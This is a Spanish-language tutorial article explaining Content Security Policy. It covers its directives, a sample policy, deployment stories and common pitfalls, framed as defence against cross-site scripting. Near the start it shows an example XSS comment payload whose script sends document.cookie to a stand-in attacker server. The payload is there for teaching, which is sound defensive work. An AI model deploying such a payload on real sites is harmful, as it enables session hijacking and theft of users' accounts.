FlowingDev

CSP, explicado: el guardia de seguridad personal de tu sitio web

Aprende qué es una Content Security Policy (CSP), cómo funcionan sus directivas y por qué es una defensa crucial contra los ataques de cross-site scripting (XSS).

Probar la herramienta: Verificador de CSP

En una oración

Content-Security-Policy (CSP) es un estándar de seguridad, entregado a través de un encabezado HTTP, que le dice al navegador qué fuentes de contenido (como scripts, imágenes y estilos) son de confianza y deben permitirse cargar, actuando efectivamente como un cadenero contra inyecciones maliciosas.

El problema que resuelve

En los primeros días del lejano oeste de la web, la seguridad era algo que se dejaba para después. Uno de los villanos más desagradables que surgieron fue el Cross-Site Scripting, o XSS. En pocas palabras, XSS es un ataque en el que un actor malintencionado logra inyectar su propio código malicioso (generalmente JavaScript) en un sitio web en el que confías.

Imagina un blog con una sección de comentarios. Tú, como desarrollador, construyes el sitio con cuidado. Pero se te pasa un pequeño bug en cómo muestras los comentarios. Un atacante llega y, en lugar de escribir "¡Buen post!", envía un comentario como este:

<script>
  // Robar la cookie de sesión del usuario logueado
  fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>

Ahora, cualquier otro usuario que vea esa entrada del blog hará que su navegador ejecute este script. Como el script se ejecuta en el dominio de tu blog, tiene acceso a todo lo que un script legítimo tendría, como las cookies de sesión del usuario. El atacante ahora puede secuestrar su sesión y hacerse pasar por él. ¡Auch!

Durante años, la única defensa fue sanitizar meticulosamente cada dato introducido por el usuario. Esto se llama "validación de entradas y codificación de salidas" (input validation and output encoding), y sigue siendo de vital importancia. Pero también es increíblemente difícil hacerlo 100% bien, el 100% de las veces. Un pequeño descuido y eres vulnerable.

CSP nació de la necesidad de una "defensa en profundidad". La idea es simple: ¿qué pasaría si el servidor pudiera decirle al navegador: "Oye, sé que se supone que soy perfecto, pero por si acaso metí la pata y dejé pasar un script malicioso, quiero que impongas algunas reglas por mí. Solo ejecuta scripts que vengan de mi propio dominio, my-app.com, y de Google Analytics. Si ves un script de cualquier otra fuente, bloquéalo y avísame"?

Eso es CSP. Es una segunda línea de defensa que opera directamente en el navegador del usuario, convirtiéndolo de una víctima pasiva en un agente de seguridad activo.

Cómo funciona por debajo

CSP no es magia; es solo una cadena de texto que se entrega en un encabezado de respuesta HTTP. Los dos encabezados principales son:

  • Content-Security-Policy: Aplica la política. Si un recurso viola la política, es bloqueado.
  • Content-Security-Policy-Report-Only: Un modo de "simulación". Reporta las violaciones pero en realidad no bloquea nada, lo cual es una bendición para probar y desplegar una nueva política sin romper tu sitio.

El valor del encabezado es una serie de directivas, cada una terminada con un punto y coma. Una directiva consiste en un nombre y una lista de fuentes permitidas.

Directivas Comunes

Piensa en las directivas como categorías de contenido que quieres controlar.

Directiva Controla... Qué cubre
default-src El respaldo La lista de fuentes por defecto para la mayoría de las otras directivas -src si no se especifican. ¡Configúrala primero!
script-src Scripts Fuentes de JavaScript, incluyendo etiquetas script, manejadores en línea (onclick) y más. El más importante para XSS.
style-src Hojas de estilo Archivos CSS, etiquetas style y atributos style en línea.
img-src Imágenes Etiquetas <img>, favicons, etc.
connect-src Conexiones URLs para fetch(), XMLHttpRequest, WebSocket, etc. ¿Con qué puede hablar tu front-end?
font-src Fuentes Fuentes web cargadas a través de @font-face.
frame-src Frames Fuentes para elementos <iframe> y <frame>.
report-uri Reportes (Obsoleto pero común) Una URL a la que el navegador envía reportes JSON de las violaciones de la política.
report-to Reportes El reemplazo moderno de report-uri, que utiliza la Reporting API.

Valores de Fuente Comunes

Para cada directiva, especificas de dónde puede provenir el contenido.

Fuente Significado Ejemplo
'self' El mismo origen Permite contenido del mismo dominio, esquema y puerto que el documento.
'none' Nada Bloquea todo el contenido para esa directiva. object-src 'none' es una muy buena idea.
example.com Un host específico Permite contenido de example.com.
*.example.com Host con comodín Permite contenido de cualquier subdominio de example.com. ¡Úsalo con precaución!
https: Un esquema Permite contenido de cualquier fuente a través de HTTPS.
'unsafe-inline' Código en línea Permite etiquetas <script> y <style> en línea, y atributos style u onclick. ¡Evítalo si es posible!
'unsafe-eval' Código dinámico Permite funciones de evaluación de cadenas como eval(). Un gran riesgo de seguridad.
'nonce-...' Un nonce criptográfico Permite un script en línea si su atributo nonce coincide con el del encabezado. Genial para usar de forma segura scripts en línea específicos.
'sha256-...' Un hash Permite un script o estilo en línea si su hash SHA256 coincide con el del encabezado.

Juntándolo todo

Veamos una política realista para una aplicación web moderna:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.my-app.com;
  connect-src 'self' https://api.my-app.com;
  font-src 'none';
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint;

Vamos a desglosarlo:

  • default-src 'self': Por defecto, solo permitir recursos de nuestro propio origen.
  • script-src ...: Permitimos scripts de nuestro propio origen, de nuestro proveedor de analíticas, y cualquier script en línea que tenga el valor nonce específico. El servidor generaría un nuevo nonce aleatorio para cada carga de página.
  • style-src 'self' 'unsafe-inline': Permitimos hojas de estilo de nuestro origen. El 'unsafe-inline' sugiere que podríamos tener algo de código heredado (legacy) que inyecta atributos style, lo cual es una situación común (aunque no ideal).
  • img-src ...: Las imágenes pueden venir de nuestro origen, como URIs data:, o de nuestro CDN de imágenes dedicado.
  • connect-src ...: A nuestro JavaScript de front-end solo se le permite hacer llamadas de API a nuestro propio origen y a api.my-app.com.
  • font-src 'none', object-src 'none': No usamos fuentes personalizadas ni plugins como Flash, así que los bloqueamos por completo.
  • frame-ancestors 'none': Esto evita que otros sitios pongan nuestro sitio en un <iframe>, lo que detiene los ataques de clickjacking.
  • report-to csp-endpoint: Enviar reportes de violación al endpoint de reporte llamado csp-endpoint (configurado en otro lugar).

Historias del mundo real

El Ladrón de E-Commerce

Una tienda en línea mediana agregó un widget de chat de terceros a su sitio para ayudar con el servicio al cliente. Agregaron el dominio del widget a su directiva script-src y pensaron que estaban a salvo. Lo que no sabían era que la propia empresa del widget de chat fue vulnerada, y un atacante modificó el archivo de script del widget. La nueva versión maliciosa extraía los números de tarjeta de crédito de la página de pago. Como el CSP de la tienda confiaba en el dominio de origen, el script malicioso se cargó y ejecutó sin problemas durante semanas.

Lección: Tu CSP es una cadena de confianza. Cuando permites un dominio de terceros, no solo estás confiando en esa empresa; estás confiando en su seguridad, en su pipeline de despliegue y en todas sus dependencias. La Integridad de Subrecursos (SRI) es otra herramienta que puede ayudar a mitigar este riesgo específico.

El Despliegue Lento

Una gran organización de medios quería implementar un CSP estricto en su sitio de noticias de alto tráfico. Sabían que desplegarlo de una sola vez podría romper anuncios, videos e innumerables otras funcionalidades. En lugar de lanzarlo a producción, desplegaron una política en modo Content-Security-Policy-Report-Only. Durante dos semanas, solo recolectaron datos. Su endpoint report-uri se inundó con miles de reportes por hora. Canalizaron estos reportes a una base de datos y construyeron un dashboard que mostraba los recursos bloqueados con más frecuencia y las páginas en las que se bloqueaban. Descubrieron docenas de scripts de seguimiento heredados y olvidados, dominios de redes publicitarias y dependencias de reproductores de video. Sistemáticamente, eliminaron los recursos antiguos o agregaron los legítimos a su lista blanca de la política. Después de un mes de refinamiento, activaron el modo de aplicación forzosa. Nada se rompió.

Lección: No vueles a ciegas. Usa el modo Report-Only como tu copiloto. Te permite construir una política perfecta y del mundo real basada en el tráfico de usuarios real, convirtiendo una aterradora tarea de seguridad en un problema manejable de análisis de datos.

La Amenaza de la Extensión del Navegador

Un empleado de una empresa financiera usaba una extensión de navegador popular que "embellecía" las páginas web inyectando su propio CSS y JavaScript. En la mayoría de los sitios, esto era inofensivo. Pero cuando inició sesión en su portal financiero corporativo interno, el sitio se negó a funcionar correctamente. Confundido, llamó a TI. Un desarrollador miró la consola del navegador y vio un torrente de errores de violación de CSP: el portal estaba bloqueando la inyección de los scripts y estilos de la extensión. El estricto CSP del portal, que solo permitía scripts y estilos de 'self', había identificado correctamente el código de la extensión como un recurso extraño y no confiable y lo había bloqueado. Evitó una posible fuga de datos de una extensión bien intencionada pero invasiva.

Lección: Un CSP robusto protege a tus usuarios no solo de tus propios posibles bugs, sino también de amenazas dentro de su propio entorno de navegador, como extensiones maliciosas o demasiado permisivas.

Errores y trampas comunes

  • Depender de 'unsafe-inline'. Esta es la trampa más común. Los desarrolladores se topan con problemas con viejos manejadores de eventos onclick o etiquetas <script> en línea y recurren a 'unsafe-inline' como una solución rápida. Esto reabre un enorme vector para ataques XSS. El mejor camino es refactorizar el código para usar addEventListener o, si es absolutamente necesario tener un script en línea, usar un nonce o un hash para incluirlo específicamente en la lista blanca.
  • Olvidar default-src. Si solo estableces script-src y style-src, dejas abiertos otros vectores. ¿Qué hay de las etiquetas <object>? ¿O los workers? Siempre comienza con un default-src 'self' o default-src 'none' restrictivo y abre solo lo que necesites directiva por directiva.
  • Configurar los reportes pero nunca mirarlos. Un report-uri que apunta a un callejón sin salida es inútil. Los reportes de violación son tu sistema de alerta temprana. Pueden alertarte sobre un nuevo ataque XSS en la naturaleza o decirte que un despliegue reciente rompió una función legítima para un subconjunto de usuarios. Debes tener un proceso para ingerir, agregar y revisar estos reportes.
  • Usar comodines (wildcards) demasiado permisivos. Es tentador usar script-src https://*.some-cdn.com, pero esto podría permitir que un atacante cargue un script desde https://malicious-user-account.some-cdn.com. Sé tan específico como sea posible con tus nombres de host.
  • Ignorar frame-ancestors. El XSS se lleva toda la atención, pero el clickjacking es otra amenaza real. Un atacante puede cargar tu sitio en un <iframe> transparente sobre su propio sitio malicioso y engañar a los usuarios para que hagan clic en botones de tu sitio. frame-ancestors 'none' o frame-ancestors 'self' es una defensa simple y poderosa que a menudo se olvida.

Por qué debe estar en tu radar

Deberías estar pensando en CSP si...

  • Construyes cualquier aplicación web que maneja inicios de sesión de usuarios, datos personales o información de pago.
  • Muestras cualquier contenido enviado por usuarios (comentarios, perfiles, publicaciones en foros).
  • Integras múltiples scripts de terceros como analíticas, anuncios, widgets de soporte o administradores de etiquetas.
  • Quieres una postura de seguridad robusta, moderna y de defensa en profundidad para cualquier proyecto web no trivial.

En resumen, si eres un desarrollador web en el siglo XXI, CSP debería ser una parte estándar de tu caja de herramientas. Ya no es una característica exótica para los ultraparanoicos; es una pieza fundamental de la seguridad del front-end.

Profundiza más

Teoría lista. Hora de ensuciarse las manos — 100% en tu navegador.

Probar la herramienta: Verificador de CSP